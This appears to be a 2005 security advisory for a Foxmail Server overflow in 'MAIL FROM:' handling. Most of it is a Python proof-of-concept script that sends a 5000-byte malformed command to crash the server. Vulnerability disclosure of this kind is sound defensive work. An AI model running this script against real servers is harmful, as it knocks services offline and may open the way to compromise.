Technical Description

A new vulnerability was reported in Foxmail Server, it could be exploited by remote attackers to compromise a system or conduct Denial of Service attacks. The flaw occurs when handling malformed "MAIL FROM:" commands, which may be exploited to crash the server or execute arbitrary commands with SYSTEM privileges.

------------------- Proof of Concept ------------------
#!/usr/bin/python
#Code by OYXin
import socket
import sys
import getopt


def usage():
print "Usage: foxserver.py -h host -p port"
sys.exit(0)

if __name__ == '__main__':

try:
opts, args = getopt.getopt(sys.argv[1:], "h:p:")
except getopt.GetoptError, msg:
print msg
usage()

for o,a in opts:
if o in ["-h"]:
host = a
if o in ["-p"]:
port = int(a)

evilbuf = "MAIL-FROM: <" + "A"*5000 + ">" + "\r\n"
evilbuf += "RCPT-TO: postmaster company mailDATA" + "\r\n"
evilbuf += "Message-ID: 123" + "\r\n"
evilbuf += "ASDF" + "\r\n"
evilbuf += "." + "\r\n"
evilbuf += "QUIT" + "\r\n"
try:
sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockfd.connect((host, port))
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send("HELO localhost\r\n")
recvbuf = sockfd.recv(1024)
print `recvbuf`
sockfd.send(evilbuf)
except socket.error, msg:
print msg
sockfd.close()

Affected Products

Foxmail Server for Windows 2.0 and prior

Solution

VUPEN Security is not aware of any official supplied patch for this issue.

References

http://www.vupen.com/english/advisories/2005/0103

Credits

Vulnerability reported by Fortinet

ChangeLog

2005-02-06 : Initial release
2005-02-11 : Updated CVE

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